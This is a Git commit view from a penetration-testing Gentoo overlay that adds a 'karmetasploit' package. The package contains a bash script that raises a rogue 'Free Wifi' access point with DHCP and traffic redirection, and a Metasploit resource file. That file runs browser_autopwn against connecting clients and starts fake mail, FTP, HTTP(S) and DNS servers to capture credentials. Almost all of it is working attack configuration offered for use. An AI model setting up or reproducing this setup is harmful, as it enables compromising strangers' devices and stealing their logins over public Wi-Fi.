mirror of
https://github.com/pentoo/pentoo-overlay
synced 2026-05-08 20:43:38 +02:00
karmetasploit
This commit is contained in:
parent
5dc4f31895
commit
22a484f102
5 changed files with 160 additions and 0 deletions
4
net-wireless/karmetasploit/Manifest
Normal file
4
net-wireless/karmetasploit/Manifest
Normal file
|
|
@ -0,0 +1,4 @@
|
|||
AUX karma.rc 1088 RMD160 baa771e9bb2e7d61309364e6a16a97dcf1267ae0 SHA1 93056b24cc00130110935b7d9fdca57a9cc960f0 SHA256 99c1306409f8ccdbd1ced819bc25d546904c2c07cd127ffc8a37faae54d04723
|
||||
AUX karmeta-dhcpd.conf 283 RMD160 b45e409f957c28f93c3472aa48686a3a3a935668 SHA1 a6176ce8d7935ca27c81f4b0ce9ed56e23addd87 SHA256 b44406c7dc3c6b9364131813f8c6d35867ae05292a0bef0ed33c46af264b2985
|
||||
AUX karmeta.sh 878 RMD160 7b600ff670eaa347545465897d66e20627459dc5 SHA1 47cfa76cb4d8d8644ac83718cdf332d529df998f SHA256 9ca5751a6ecbc0484c8b739c63aa13c05c36e80b5cb41b538d8c4e69bb622504
|
||||
EBUILD karmetasploit-0.1.ebuild 651 RMD160 aafdc835858084110d38d487bf166e840607d021 SHA1 fc019752a4485251c7258fc588876cdb4a3a4f1b SHA256 62910c1ad416795b9099744513097d41589a91848cd38f9a3bbf13541be3f2a3
|
||||
80
net-wireless/karmetasploit/files/karma.rc
Normal file
80
net-wireless/karmetasploit/files/karma.rc
Normal file
|
|
@ -0,0 +1,80 @@
|
|||
load db_sqlite3
|
||||
db_create /root/karma.db
|
||||
|
||||
use auxiliary/server/browser_autopwn
|
||||
|
||||
setg AUTOPWN_HOST 10.0.0.1
|
||||
setg AUTOPWN_PORT 55550
|
||||
setg AUTOPWN_URI /ads
|
||||
|
||||
set LHOST 10.0.0.1
|
||||
set LPORT 45000
|
||||
set SRVPORT 55550
|
||||
set URIPATH /ads
|
||||
|
||||
run
|
||||
|
||||
|
||||
|
||||
use auxiliary/server/capture/pop3
|
||||
set SRVPORT 110
|
||||
set SSL false
|
||||
run
|
||||
|
||||
use auxiliary/server/capture/pop3
|
||||
set SRVPORT 995
|
||||
set SSL true
|
||||
run
|
||||
|
||||
use auxiliary/server/capture/ftp
|
||||
run
|
||||
|
||||
use auxiliary/server/capture/imap
|
||||
set SSL false
|
||||
set SRVPORT 143
|
||||
run
|
||||
|
||||
use auxiliary/server/capture/imap
|
||||
set SSL true
|
||||
set SRVPORT 993
|
||||
run
|
||||
|
||||
use auxiliary/server/capture/smtp
|
||||
set SSL false
|
||||
set SRVPORT 25
|
||||
run
|
||||
|
||||
use auxiliary/server/capture/smtp
|
||||
set SSL true
|
||||
set SRVPORT 465
|
||||
run
|
||||
|
||||
use auxiliary/server/fakedns
|
||||
unset TARGETHOST
|
||||
set SRVPORT 5353
|
||||
run
|
||||
|
||||
use auxiliary/server/fakedns
|
||||
unset TARGETHOST
|
||||
set SRVPORT 53
|
||||
run
|
||||
|
||||
use auxiliary/server/capture/http
|
||||
set SRVPORT 80
|
||||
set SSL false
|
||||
run
|
||||
|
||||
use auxiliary/server/capture/http
|
||||
set SRVPORT 8080
|
||||
set SSL false
|
||||
run
|
||||
|
||||
use auxiliary/server/capture/http
|
||||
set SRVPORT 443
|
||||
set SSL true
|
||||
run
|
||||
|
||||
use auxiliary/server/capture/http
|
||||
set SRVPORT 8443
|
||||
set SSL true
|
||||
run
|
||||
16
net-wireless/karmetasploit/files/karmeta-dhcpd.conf
Normal file
16
net-wireless/karmetasploit/files/karmeta-dhcpd.conf
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
option domain-name-servers 10.0.0.1;
|
||||
|
||||
default-lease-time 600;
|
||||
max-lease-time 720;
|
||||
|
||||
ddns-update-style none;
|
||||
|
||||
authoritative;
|
||||
|
||||
log-facility local7;
|
||||
|
||||
subnet 10.0.0.0 netmask 255.255.255.0 {
|
||||
range 10.0.0.2 10.0.0.254;
|
||||
option routers 10.0.0.1;
|
||||
option domain-name-servers 10.0.0.1;
|
||||
}
|
||||
30
net-wireless/karmetasploit/files/karmeta.sh
Executable file
30
net-wireless/karmetasploit/files/karmeta.sh
Executable file
|
|
@ -0,0 +1,30 @@
|
|||
#!/bin/bash
|
||||
echo "karmetasploit script by kingtuna: super ultra mega alpha version"
|
||||
echo "warning: this currently leaves your system in a funny state."
|
||||
echo "you may have to remove monitor interfaces and kill dhcpd and airbase-ng manually"
|
||||
killall -9 airbase-ng dhcpd
|
||||
iptables --flush
|
||||
|
||||
#airmon-ng stop mon0
|
||||
if [ x"$1" != x ]
|
||||
then
|
||||
airmon-ng start $1
|
||||
else
|
||||
echo "Please specify a device to use as AP"
|
||||
exit
|
||||
fi
|
||||
|
||||
#modprobe tun
|
||||
|
||||
/usr/sbin/airbase-ng -P -C 30 -c 6 -e "Free Wifi" -v mon0 > /dev/null 2>&1 &
|
||||
sleep 2
|
||||
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
|
||||
ifconfig eth0 up 10.0.0.1 netmask 255.255.255.0
|
||||
ifconfig mon0 up 10.0.0.1 netmask 255.255.255.0
|
||||
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
|
||||
sleep 2
|
||||
/usr/sbin/dhcpd -cf /etc/karmeta-dhcpd.conf
|
||||
sleep 2
|
||||
ifconfig at0 mtu 1400
|
||||
iptables -t nat -A PREROUTING -i at0 -j REDIRECT
|
||||
/usr/bin/msfconsole3 -r /etc/karma.rc
|
||||
30
net-wireless/karmetasploit/karmetasploit-0.1.ebuild
Normal file
30
net-wireless/karmetasploit/karmetasploit-0.1.ebuild
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
# Copyright 1999-2009 Gentoo Foundation
|
||||
# Distributed under the terms of the GNU General Public License v2
|
||||
# $Header: $
|
||||
|
||||
DESCRIPTION="KARMA + Metasploit 3 == Karmetasploit"
|
||||
#karmetasploit + kingtuna script
|
||||
HOMEPAGE="http://trac.metasploit.com/wiki/Karmetasploit"
|
||||
#SRC_URI="${FILESDIR}/karma.rc
|
||||
# ${FILESDIR}/karmeta.sh"
|
||||
|
||||
LICENSE="GPL-2"
|
||||
KEYWORDS="amd64 x86"
|
||||
SLOT="0"
|
||||
|
||||
IUSE=""
|
||||
|
||||
DEPEND=""
|
||||
RDEPEND="net-analyzer/metasploit
|
||||
net-wireless/aircrack-ng
|
||||
net-misc/dhcp"
|
||||
|
||||
src_install() {
|
||||
dodir /usr/sbin
|
||||
insinto /usr/sbin
|
||||
doins ${FILESDIR}/karmeta.sh
|
||||
|
||||
dodir /etc
|
||||
insinto /etc
|
||||
doins ${FILESDIR}/karmeta-dhcpd.conf ${FILESDIR}/karma.rc
|
||||
}
|
||||
Loading…
Reference in a new issue